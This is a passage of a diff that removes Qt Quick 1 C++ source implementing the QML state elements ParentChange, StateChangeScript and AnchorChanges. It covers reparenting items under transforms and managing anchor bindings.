QDeclarativeNullableValue width; - QDeclarativeNullableValue height; - QDeclarativeNullableValue scale; - QDeclarativeNullableValue rotation; - - void doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore = 0); -}; - -void QDeclarative1ParentChangePrivate::doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore) -{ - if (targetParent && target && target->parentItem()) { - Q_Q(QDeclarative1ParentChange); - bool ok; - const QTransform &transform = target->parentItem()->itemTransform(targetParent, &ok); - if (transform.type() >= QTransform::TxShear || !ok) { - qmlInfo(q) << QDeclarative1ParentChange::tr("Unable to preserve appearance under complex transform"); - ok = false; - } - - qreal scale = 1; - qreal rotation = 0; - bool isRotate = (transform.type() == QTransform::TxRotate) || (transform.m11() < 0); - if (ok && !isRotate) { - if (transform.m11() == transform.m22()) - scale = transform.m11(); - else { - qmlInfo(q) << QDeclarative1ParentChange::tr("Unable to preserve appearance under non-uniform scale"); - ok = false; - } - } else if (ok && isRotate) { - if (transform.m11() == transform.m22()) - scale = qSqrt(transform.m11()*transform.m11() + transform.m12()*transform.m12()); - else { - qmlInfo(q) << QDeclarative1ParentChange::tr("Unable to preserve appearance under non-uniform scale"); - ok = false; - } - - if (scale != 0) - rotation = atan2(transform.m12()/scale, transform.m11()/scale) * 180/M_PI; - else { - qmlInfo(q) << QDeclarative1ParentChange::tr("Unable to preserve appearance under scale of 0"); - ok = false; - } - } - - const QPointF &point = transform.map(QPointF(target->x(),target->y())); - qreal x = point.x(); - qreal y = point.y(); - - // setParentItem will update the transformOriginPoint if needed - target->setParentItem(targetParent); - - if (ok && target->transformOrigin() != QDeclarativeItem::TopLeft) { - qreal tempxt = target->transformOriginPoint().x(); - qreal tempyt = target->transformOriginPoint().y(); - QTransform t; - t.translate(-tempxt, -tempyt); - t.rotate(rotation); - t.scale(scale, scale); - t.translate(tempxt, tempyt); - const QPointF &offset = t.map(QPointF(0,0)); - x += offset.x(); - y += offset.y(); - } - - if (ok) { - //qDebug() << x << y << rotation << scale; - target->setX(x); - target->setY(y); - target->setRotation(target->rotation() + rotation); - target->setScale(target->scale() * scale); - } - } else if (target) { - target->setParentItem(targetParent); - } - - //restore the original stack position. - //### if stackBefore has also been reparented this won't work - if (stackBefore) - target->stackBefore(stackBefore); -} - -/*! - \preliminary - \qmlclass ParentChange QDeclarative1ParentChange - \inqmlmodule QtQuick 1 - \ingroup qml-state-elements - \brief The ParentChange element allows you to reparent an Item in a state change. - - ParentChange reparents an item while preserving its visual appearance (position, size, - rotation, and scale) on screen. You can then specify a transition to move/resize/rotate/scale - the item to its final intended appearance. - - ParentChange can only preserve visual appearance if no complex transforms are involved. - More specifically, it will not work if the transform property has been set for any - items involved in the reparenting (i.e. items in the common ancestor tree - for the original and new parent). - - The example below displays a large red rectangle and a small blue rectangle, side by side. - When the \c blueRect is clicked, it changes to the "reparented" state: its parent is changed to \c redRect and it is - positioned at (10, 10) within the red rectangle, as specified in the ParentChange. - - \snippet doc/src/snippets/qtquick1/parentchange.qml 0 - - \image parentchange.png - - You can specify at which point in a transition you want a ParentChange to occur by - using a ParentAnimation. -*/ - - -QDeclarative1ParentChange::QDeclarative1ParentChange(QObject *parent) - : QDeclarative1StateOperation(*(new QDeclarative1ParentChangePrivate), parent) -{ -} - -QDeclarative1ParentChange::~QDeclarative1ParentChange() -{ -} - -/*! - \qmlproperty real QtQuick1::ParentChange::x - \qmlproperty real QtQuick1::ParentChange::y - \qmlproperty real QtQuick1::ParentChange::width - \qmlproperty real QtQuick1::ParentChange::height - \qmlproperty real QtQuick1::ParentChange::scale - \qmlproperty real QtQuick1::ParentChange::rotation - These properties hold the new position, size, scale, and rotation - for the item in this state. -*/ -QDeclarativeScriptString QDeclarative1ParentChange::x() const -{ - Q_D(const QDeclarative1ParentChange); - return d->xString.value; -} - -void tryReal(QDeclarativeNullableValue &value, const QString &string) -{ - bool ok = false; - qreal realValue = string.toFloat(&ok); - if (ok) - value = realValue; - else - value.invalidate(); -} - -void QDeclarative1ParentChange::setX(QDeclarativeScriptString x) -{ - Q_D(QDeclarative1ParentChange); - d->xString = x; - tryReal(d->x, x.script()); -} - -bool QDeclarative1ParentChange::xIsSet() const -{ - Q_D(const QDeclarative1ParentChange); - return d->xString.isValid(); -} - -QDeclarativeScriptString QDeclarative1ParentChange::y() const -{ - Q_D(const QDeclarative1ParentChange); - return d->yString.value; -} - -void QDeclarative1ParentChange::setY(QDeclarativeScriptString y) -{ - Q_D(QDeclarative1ParentChange); - d->yString = y; - tryReal(d->y, y.script()); -} - -bool QDeclarative1ParentChange::yIsSet() const -{ - Q_D(const QDeclarative1ParentChange); - return d->yString.isValid(); -} - -QDeclarativeScriptString QDeclarative1ParentChange::width() const -{ - Q_D(const QDeclarative1ParentChange); - return d->widthString.value; -} - -void QDeclarative1ParentChange::setWidth(QDeclarativeScriptString width) -{ - Q_D(QDeclarative1ParentChange); - d->widthString = width; - tryReal(d->width, width.script()); -} - -bool QDeclarative1ParentChange::widthIsSet() const -{ - Q_D(const QDeclarative1ParentChange); - return d->widthString.isValid(); -} - -QDeclarativeScriptString QDeclarative1ParentChange::height() const -{ - Q_D(const QDeclarative1ParentChange); - return d->heightString.value; -} - -void QDeclarative1ParentChange::setHeight(QDeclarativeScriptString height) -{ - Q_D(QDeclarative1ParentChange); - d->heightString = height; - tryReal(d->height, height.script()); -} - -bool QDeclarative1ParentChange::heightIsSet() const -{ - Q_D(const QDeclarative1ParentChange); - return d->heightString.isValid(); -} - -QDeclarativeScriptString QDeclarative1ParentChange::scale() const -{ - Q_D(const QDeclarative1ParentChange); - return d->scaleString.value; -} - -void QDeclarative1ParentChange::setScale(QDeclarativeScriptString scale) -{ - Q_D(QDeclarative1ParentChange); - d->scaleString = scale; - tryReal(d->scale, scale.script()); -} - -bool QDeclarative1ParentChange::scaleIsSet() const -{ - Q_D(const QDeclarative1ParentChange); - return d->scaleString.isValid(); -} - -QDeclarativeScriptString QDeclarative1ParentChange::rotation() const -{ - Q_D(const QDeclarative1ParentChange); - return d->rotationString.value; -} - -void QDeclarative1ParentChange::setRotation(QDeclarativeScriptString rotation) -{ - Q_D(QDeclarative1ParentChange); - d->rotationString = rotation; - tryReal(d->rotation, rotation.script()); -} - -bool QDeclarative1ParentChange::rotationIsSet() const -{ - Q_D(const QDeclarative1ParentChange); - return d->rotationString.isValid(); -} - -QDeclarativeItem *QDeclarative1ParentChange::originalParent() const -{ - Q_D(const QDeclarative1ParentChange); - return d->origParent; -} - -/*! - \qmlproperty Item QtQuick1::ParentChange::target - This property holds the item to be reparented -*/ - -QDeclarativeItem *QDeclarative1ParentChange::object() const -{ - Q_D(const QDeclarative1ParentChange); - return d->target; -} - -void QDeclarative1ParentChange::setObject(QDeclarativeItem *target) -{ - Q_D(QDeclarative1ParentChange); - d->target = target; -} - -/*! - \qmlproperty Item QtQuick1::ParentChange::parent - This property holds the new parent for the item in this state. -*/ - -QDeclarativeItem *QDeclarative1ParentChange::parent() const -{ - Q_D(const QDeclarative1ParentChange); - return d->parent; -} - -void QDeclarative1ParentChange::setParent(QDeclarativeItem *parent) -{ - Q_D(QDeclarative1ParentChange); - d->parent = parent; -} - -QDeclarative1StateOperation::ActionList QDeclarative1ParentChange::actions() -{ - Q_D(QDeclarative1ParentChange); - if (!d->target || !d->parent) - return ActionList(); - - ActionList actions; - - QDeclarative1Action a; - a.event = this; - actions << a; - - QDeclarativeContext *ctxt = qmlContext(this); - - if (d->xString.isValid()) { - if (d->x.isValid()) { - QDeclarative1Action xa(d->target, QLatin1String("x"), ctxt, d->x.value); - actions << xa; - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->xString.value.script(), d->target, ctxt); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt)); - QDeclarative1Action xa; - xa.property = newBinding->property(); - xa.toBinding = newBinding; - xa.fromValue = xa.property.read(); - xa.deletableToBinding = true; - actions << xa; - } - } - - if (d->yString.isValid()) { - if (d->y.isValid()) { - QDeclarative1Action ya(d->target, QLatin1String("y"), ctxt, d->y.value); - actions << ya; - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->yString.value.script(), d->target, ctxt); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt)); - QDeclarative1Action ya; - ya.property = newBinding->property(); - ya.toBinding = newBinding; - ya.fromValue = ya.property.read(); - ya.deletableToBinding = true; - actions << ya; - } - } - - if (d->scaleString.isValid()) { - if (d->scale.isValid()) { - QDeclarative1Action sa(d->target, QLatin1String("scale"), ctxt, d->scale.value); - actions << sa; - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->scaleString.value.script(), d->target, ctxt); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt)); - QDeclarative1Action sa; - sa.property = newBinding->property(); - sa.toBinding = newBinding; - sa.fromValue = sa.property.read(); - sa.deletableToBinding = true; - actions << sa; - } - } - - if (d->rotationString.isValid()) { - if (d->rotation.isValid()) { - QDeclarative1Action ra(d->target, QLatin1String("rotation"), ctxt, d->rotation.value); - actions << ra; - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->rotationString.value.script(), d->target, ctxt); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt)); - QDeclarative1Action ra; - ra.property = newBinding->property(); - ra.toBinding = newBinding; - ra.fromValue = ra.property.read(); - ra.deletableToBinding = true; - actions << ra; - } - } - - if (d->widthString.isValid()) { - if (d->width.isValid()) { - QDeclarative1Action wa(d->target, QLatin1String("width"), ctxt, d->width.value); - actions << wa; - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->widthString.value.script(), d->target, ctxt); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt)); - QDeclarative1Action wa; - wa.property = newBinding->property(); - wa.toBinding = newBinding; - wa.fromValue = wa.property.read(); - wa.deletableToBinding = true; - actions << wa; - } - } - - if (d->heightString.isValid()) { - if (d->height.isValid()) { - QDeclarative1Action ha(d->target, QLatin1String("height"), ctxt, d->height.value); - actions << ha; - } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->heightString.value.script(), d->target, ctxt); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt)); - QDeclarative1Action ha; - ha.property = newBinding->property(); - ha.toBinding = newBinding; - ha.fromValue = ha.property.read(); - ha.deletableToBinding = true; - actions << ha; - } - } - - return actions; -} - -class AccessibleFxItem : public QDeclarativeItem -{ - Q_OBJECT - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem) -public: - int siblingIndex() { - Q_D(QDeclarativeItem); - return d->siblingIndex; - } -}; - -void QDeclarative1ParentChange::saveOriginals() -{ - Q_D(QDeclarative1ParentChange); - saveCurrentValues(); - d->origParent = d->rewindParent; - d->origStackBefore = d->rewindStackBefore; -} - -/*void QDeclarative1ParentChange::copyOriginals(QDeclarative1ActionEvent *other) -{ - Q_D(QDeclarative1ParentChange); - QDeclarative1ParentChange *pc = static_cast(other); - - d->origParent = pc->d_func()->rewindParent; - d->origStackBefore = pc->d_func()->rewindStackBefore; - - saveCurrentValues(); -}*/ - -void QDeclarative1ParentChange::execute(Reason) -{ - Q_D(QDeclarative1ParentChange); - d->doChange(d->parent); -} - -bool QDeclarative1ParentChange::isReversable() -{ - return true; -} - -void QDeclarative1ParentChange::reverse(Reason) -{ - Q_D(QDeclarative1ParentChange); - d->doChange(d->origParent, d->origStackBefore); -} - -QString QDeclarative1ParentChange::typeName() const -{ - return QLatin1String("ParentChange"); -} - -bool QDeclarative1ParentChange::override(QDeclarative1ActionEvent*other) -{ - Q_D(QDeclarative1ParentChange); - if (other->typeName() != QLatin1String("ParentChange")) - return false; - if (QDeclarative1ParentChange *otherPC = static_cast(other)) - return (d->target == otherPC->object()); - return false; -} - -void QDeclarative1ParentChange::saveCurrentValues() -{ - Q_D(QDeclarative1ParentChange); - if (!d->target) { - d->rewindParent = 0; - d->rewindStackBefore = 0; - return; - } - - d->rewindParent = d->target->parentItem(); - d->rewindStackBefore = 0; - - if (!d->rewindParent) - return; - - //try to determine the item's original stack position so we can restore it - int siblingIndex = ((AccessibleFxItem*)d->target)->siblingIndex() + 1; - QList children = d->rewindParent->childItems(); - for (int i = 0; i < children.count(); ++i) { - QDeclarativeItem *child = qobject_cast(children.at(i)); - if (!child) - continue; - if (((AccessibleFxItem*)child)->siblingIndex() == siblingIndex) { - d->rewindStackBefore = child; - break; - } - } -} - -void QDeclarative1ParentChange::rewind() -{ - Q_D(QDeclarative1ParentChange); - d->doChange(d->rewindParent, d->rewindStackBefore); -} - -class QDeclarative1StateChangeScriptPrivate : public QDeclarative1StateOperationPrivate -{ -public: - QDeclarative1StateChangeScriptPrivate() {} - - QDeclarativeScriptString script; - QString name; -}; - -/*! - \qmlclass StateChangeScript QDeclarative1StateChangeScript - \inqmlmodule QtQuick 1 - \ingroup qml-state-elements - \brief The StateChangeScript element allows you to run a script in a state. - - A StateChangeScript is run upon entering a state. You can optionally use - ScriptAction to specify the point in the transition at which - the StateChangeScript should to be run. - - \snippet snippets/declarative/states/statechangescript.qml state and transition - - \sa ScriptAction -*/ - -QDeclarative1StateChangeScript::QDeclarative1StateChangeScript(QObject *parent) -: QDeclarative1StateOperation(*(new QDeclarative1StateChangeScriptPrivate), parent) -{ -} - -QDeclarative1StateChangeScript::~QDeclarative1StateChangeScript() -{ -} - -/*! - \qmlproperty script QtQuick1::StateChangeScript::script - This property holds the script to run when the state is current. -*/ -QDeclarativeScriptString QDeclarative1StateChangeScript::script() const -{ - Q_D(const QDeclarative1StateChangeScript); - return d->script; -} - -void QDeclarative1StateChangeScript::setScript(const QDeclarativeScriptString &s) -{ - Q_D(QDeclarative1StateChangeScript); - d->script = s; -} - -/*! - \qmlproperty string QtQuick1::StateChangeScript::name - This property holds the name of the script. This name can be used by a - ScriptAction to target a specific script. - - \sa ScriptAction::scriptName -*/ -QString QDeclarative1StateChangeScript::name() const -{ - Q_D(const QDeclarative1StateChangeScript); - return d->name; -} - -void QDeclarative1StateChangeScript::setName(const QString &n) -{ - Q_D(QDeclarative1StateChangeScript); - d->name = n; -} - -void QDeclarative1StateChangeScript::execute(Reason) -{ - Q_D(QDeclarative1StateChangeScript); - const QString &script = d->script.script(); - if (!script.isEmpty()) { - QDeclarativeExpression expr(d->script.context(), d->script.scopeObject(), script); - QDeclarativeData *ddata = QDeclarativeData::get(this); - if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) - expr.setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber, ddata->columnNumber); - expr.evaluate(); - if (expr.hasError()) - qmlInfo(this, expr.error()); - } -} - -QDeclarative1StateChangeScript::ActionList QDeclarative1StateChangeScript::actions() -{ - ActionList rv; - QDeclarative1Action a; - a.event = this; - rv << a; - return rv; -} - -QString QDeclarative1StateChangeScript::typeName() const -{ - return QLatin1String("StateChangeScript"); -} - -/*! - \qmlclass AnchorChanges QDeclarative1AnchorChanges - \inqmlmodule QtQuick 1 - \ingroup qml-state-elements - \brief The AnchorChanges element allows you to change the anchors of an item in a state. - - The AnchorChanges element is used to modify the anchors of an item in a \l State. - - AnchorChanges cannot be used to modify the margins on an item. For this, use - PropertyChanges intead. - - In the following example we change the top and bottom anchors of an item - using AnchorChanges, and the top and bottom anchor margins using - PropertyChanges: - - \snippet doc/src/snippets/qtquick1/anchorchanges.qml 0 - - \image anchorchanges.png - - AnchorChanges can be animated using AnchorAnimation. - \qml - //animate our anchor changes - Transition { - AnchorAnimation {} - } - \endqml - - Margin animations can be animated using NumberAnimation. - - For more information on anchors see \l {anchor-layout}{Anchor Layouts}. -*/ - -class QDeclarative1AnchorSetPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1AnchorSet) -public: - QDeclarative1AnchorSetPrivate() - : usedAnchors(0), resetAnchors(0), fill(0), - centerIn(0)/*, leftMargin(0), rightMargin(0), topMargin(0), bottomMargin(0), - margins(0), vCenterOffset(0), hCenterOffset(0), baselineOffset(0)*/ - { - } - - QDeclarative1Anchors::Anchors usedAnchors; - QDeclarative1Anchors::Anchors resetAnchors; - - QDeclarativeItem *fill; - QDeclarativeItem *centerIn; - - QDeclarativeScriptString leftScript; - QDeclarativeScriptString rightScript; - QDeclarativeScriptString topScript; - QDeclarativeScriptString bottomScript; - QDeclarativeScriptString hCenterScript; - QDeclarativeScriptString vCenterScript; - QDeclarativeScriptString baselineScript; - - /*qreal leftMargin; - qreal rightMargin; - qreal topMargin; - qreal bottomMargin; - qreal margins; - qreal vCenterOffset; - qreal hCenterOffset; - qreal baselineOffset;*/ -}; - -QDeclarative1AnchorSet::QDeclarative1AnchorSet(QObject *parent) - : QObject(*new QDeclarative1AnchorSetPrivate, parent) -{ -} - -QDeclarative1AnchorSet::~QDeclarative1AnchorSet() -{ -} - -QDeclarativeScriptString QDeclarative1AnchorSet::top() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->topScript; -} - -void QDeclarative1AnchorSet::setTop(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::TopAnchor; - d->topScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetTop(); -} - -void QDeclarative1AnchorSet::resetTop() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::TopAnchor; - d->topScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::TopAnchor; -} - -QDeclarativeScriptString QDeclarative1AnchorSet::bottom() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->bottomScript; -} - -void QDeclarative1AnchorSet::setBottom(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::BottomAnchor; - d->bottomScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetBottom(); -} - -void QDeclarative1AnchorSet::resetBottom() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::BottomAnchor; - d->bottomScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::BottomAnchor; -} - -QDeclarativeScriptString QDeclarative1AnchorSet::verticalCenter() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->vCenterScript; -} - -void QDeclarative1AnchorSet::setVerticalCenter(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::VCenterAnchor; - d->vCenterScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetVerticalCenter(); -} - -void QDeclarative1AnchorSet::resetVerticalCenter() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::VCenterAnchor; - d->vCenterScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::VCenterAnchor; -} - -QDeclarativeScriptString QDeclarative1AnchorSet::baseline() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->baselineScript; -} - -void QDeclarative1AnchorSet::setBaseline(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::BaselineAnchor; - d->baselineScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetBaseline(); -} - -void QDeclarative1AnchorSet::resetBaseline() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::BaselineAnchor; - d->baselineScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::BaselineAnchor; -} - -QDeclarativeScriptString QDeclarative1AnchorSet::left() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->leftScript; -} - -void QDeclarative1AnchorSet::setLeft(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::LeftAnchor; - d->leftScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetLeft(); -} - -void QDeclarative1AnchorSet::resetLeft() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::LeftAnchor; - d->leftScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::LeftAnchor; -} - -QDeclarativeScriptString QDeclarative1AnchorSet::right() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->rightScript; -} - -void QDeclarative1AnchorSet::setRight(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::RightAnchor; - d->rightScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetRight(); -} - -void QDeclarative1AnchorSet::resetRight() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::RightAnchor; - d->rightScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::RightAnchor; -} - -QDeclarativeScriptString QDeclarative1AnchorSet::horizontalCenter() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->hCenterScript; -} - -void QDeclarative1AnchorSet::setHorizontalCenter(const QDeclarativeScriptString &edge) -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors |= QDeclarative1Anchors::HCenterAnchor; - d->hCenterScript = edge; - if (edge.script() == QLatin1String("undefined")) - resetHorizontalCenter(); -} - -void QDeclarative1AnchorSet::resetHorizontalCenter() -{ - Q_D(QDeclarative1AnchorSet); - d->usedAnchors &= ~QDeclarative1Anchors::HCenterAnchor; - d->hCenterScript = QDeclarativeScriptString(); - d->resetAnchors |= QDeclarative1Anchors::HCenterAnchor; -} - -QDeclarativeItem *QDeclarative1AnchorSet::fill() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->fill; -} - -void QDeclarative1AnchorSet::setFill(QDeclarativeItem *f) -{ - Q_D(QDeclarative1AnchorSet); - d->fill = f; -} - -void QDeclarative1AnchorSet::resetFill() -{ - setFill(0); -} - -QDeclarativeItem *QDeclarative1AnchorSet::centerIn() const -{ - Q_D(const QDeclarative1AnchorSet); - return d->centerIn; -} - -void QDeclarative1AnchorSet::setCenterIn(QDeclarativeItem* c) -{ - Q_D(QDeclarative1AnchorSet); - d->centerIn = c; -} - -void QDeclarative1AnchorSet::resetCenterIn() -{ - setCenterIn(0); -} - - -class QDeclarative1AnchorChangesPrivate : public QDeclarative1StateOperationPrivate -{ -public: - QDeclarative1AnchorChangesPrivate() - : target(0), anchorSet(new QDeclarative1AnchorSet), - leftBinding(0), rightBinding(0), hCenterBinding(0), - topBinding(0), bottomBinding(0), vCenterBinding(0), baselineBinding(0), - origLeftBinding(0), origRightBinding(0), origHCenterBinding(0), - origTopBinding(0), origBottomBinding(0), origVCenterBinding(0), - origBaselineBinding(0) - { - - } - ~QDeclarative1AnchorChangesPrivate() { delete anchorSet; } - - QDeclarativeItem *target; - QDeclarative1AnchorSet *anchorSet; - - QDeclarativeBinding *leftBinding; - QDeclarativeBinding *rightBinding; - QDeclarativeBinding *hCenterBinding; - QDeclarativeBinding *topBinding; - QDeclarativeBinding *bottomBinding; - QDeclarativeBinding *vCenterBinding; - QDeclarativeBinding *baselineBinding; - - QDeclarativeAbstractBinding *origLeftBinding; - QDeclarativeAbstractBinding *origRightBinding; - QDeclarativeAbstractBinding *origHCenterBinding; - QDeclarativeAbstractBinding *origTopBinding; - QDeclarativeAbstractBinding *origBottomBinding; - QDeclarativeAbstractBinding *origVCenterBinding; - QDeclarativeAbstractBinding *origBaselineBinding; - - QDeclarative1AnchorLine rewindLeft; - QDeclarative1AnchorLine rewindRight; - QDeclarative1AnchorLine rewindHCenter; - QDeclarative1AnchorLine rewindTop; - QDeclarative1AnchorLine rewindBottom; - QDeclarative1AnchorLine rewindVCenter; - QDeclarative1AnchorLine rewindBaseline; - - qreal fromX; - qreal fromY; - qreal fromWidth; - qreal fromHeight; - - qreal toX; - qreal toY; - qreal toWidth; - qreal toHeight; - - qreal rewindX; - qreal rewindY; - qreal rewindWidth; - qreal rewindHeight; - - bool applyOrigLeft; - bool applyOrigRight; - bool applyOrigHCenter; - bool applyOrigTop; - bool applyOrigBottom; - bool applyOrigVCenter; - bool applyOrigBaseline; - - QDeclarativeNullableValue origWidth; - QDeclarativeNullableValue origHeight; - qreal origX; - qreal origY; - - QList oldBindings; - - QDeclarativeProperty leftProp; - QDeclarativeProperty rightProp; - QDeclarativeProperty hCenterProp; - QDeclarativeProperty topProp; - QDeclarativeProperty bottomProp; - QDeclarativeProperty vCenterProp; - QDeclarativeProperty baselineProp; -}; - -/*! - \qmlproperty Item QtQuick1::AnchorChanges::target - This property holds the \l Item for which the anchor changes will be applied. -*/ - -QDeclarative1AnchorChanges::QDeclarative1AnchorChanges(QObject *parent) - : QDeclarative1StateOperation(*(new QDeclarative1AnchorChangesPrivate), parent) -{ -} - -QDeclarative1AnchorChanges::~QDeclarative1AnchorChanges() -{ -} - -QDeclarative1AnchorChanges::ActionList QDeclarative1AnchorChanges::actions() -{ - Q_D(QDeclarative1AnchorChanges); - d->leftBinding = d->rightBinding = d->hCenterBinding = d->topBinding - = d->bottomBinding = d->vCenterBinding = d->baselineBinding = 0; - - d->leftProp = QDeclarativeProperty(d->target, QLatin1String("anchors.left")); - d->rightProp = QDeclarativeProperty(d->target, QLatin1String("anchors.right")); - d->hCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.horizontalCenter")); - d->topProp = QDeclarativeProperty(d->target, QLatin1String("anchors.top")); - d->bottomProp = QDeclarativeProperty(d->target, QLatin1String("anchors.bottom")); - d->vCenterProp = QDeclarativeProperty(d->target, QLatin1String("anchors.verticalCenter")); - d->baselineProp = QDeclarativeProperty(d->target, QLatin1String("anchors.baseline")); - - QDeclarativeContext *ctxt = qmlContext(this); - - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::LeftAnchor) { - d->leftBinding = new QDeclarativeBinding(d->anchorSet->d_func()->leftScript.script(), d->target, ctxt); - d->leftBinding->setTarget(d->leftProp); - } - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::RightAnchor) { - d->rightBinding = new QDeclarativeBinding(d->anchorSet->d_func()->rightScript.script(), d->target, ctxt); - d->rightBinding->setTarget(d->rightProp); - } - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::HCenterAnchor) { - d->hCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->hCenterScript.script(), d->target, ctxt); - d->hCenterBinding->setTarget(d->hCenterProp); - } - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::TopAnchor) { - d->topBinding = new QDeclarativeBinding(d->anchorSet->d_func()->topScript.script(), d->target, ctxt); - d->topBinding->setTarget(d->topProp); - } - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::BottomAnchor) { - d->bottomBinding = new QDeclarativeBinding(d->anchorSet->d_func()->bottomScript.script(), d->target, ctxt); - d->bottomBinding->setTarget(d->bottomProp); - } - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::VCenterAnchor) { - d->vCenterBinding = new QDeclarativeBinding(d->anchorSet->d_func()->vCenterScript.script(), d->target, ctxt); - d->vCenterBinding->setTarget(d->vCenterProp); - } - if (d->anchorSet->d_func()->usedAnchors & QDeclarative1Anchors::BaselineAnchor) { - d->baselineBinding = new QDeclarativeBinding(d->anchorSet->d_func()->baselineScript.script(), d->target, ctxt); - d->baselineBinding->setTarget(d->baselineProp); - } - - QDeclarative1Action a; - a.event = this; - return ActionList() << a; -} - -QDeclarative1AnchorSet *QDeclarative1AnchorChanges::anchors() -{ - Q_D(QDeclarative1AnchorChanges); - return d->anchorSet; -} - -QDeclarativeItem *QDeclarative1AnchorChanges::object() const -{ - Q_D(const QDeclarative1AnchorChanges); - return d->target; -} - -void QDeclarative1AnchorChanges::setObject(QDeclarativeItem *target) -{ - Q_D(QDeclarative1AnchorChanges); - d->target = target; -} - -/*! - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.left - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.right - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.horizontalCenter - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.top - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.bottom - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.verticalCenter - \qmlproperty AnchorLine QtQuick1::AnchorChanges::anchors.baseline - - These properties change the respective anchors of the item. - - To reset an anchor you can assign \c undefined: - \qml - AnchorChanges { - target: myItem - anchors.left: undefined //remove myItem's left anchor - anchors.right: otherItem.right - } - \endqml -*/ - -void QDeclarative1AnchorChanges::execute(Reason reason) -{ - Q_D(QDeclarative1AnchorChanges); - if (!d->target) - return; - - QDeclarativeItemPrivate *targetPrivate = QDeclarativeItemPrivate::get(d->target); - //incorporate any needed "reverts" - if (d->applyOrigLeft) { - if (!d->origLeftBinding) - targetPrivate->anchors()->resetLeft(); - QDeclarativePropertyPrivate::setBinding(d->leftProp, d->origLeftBinding); - } - if (d->applyOrigRight) { - if (!d->origRightBinding) - targetPrivate->anchors()->resetRight(); - QDeclarativePropertyPrivate::setBinding(d->rightProp, d->origRightBinding); - } - if (d->applyOrigHCenter) { - if (!d->origHCenterBinding) - targetPrivate->anchors()->resetHorizontalCenter(); - QDeclarativePropertyPrivate::setBinding(d->hCenterProp, d->origHCenterBinding); - } - if (d->applyOrigTop) { - if (!d->origTopBinding) - targetPrivate->anchors()->resetTop(); - QDeclarativePropertyPrivate::setBinding(d->topProp, d->origTopBinding); - } - if (d->applyOrigBottom) { - if (!d->origBottomBinding) - targetPrivate->anchors()->resetBottom(); - 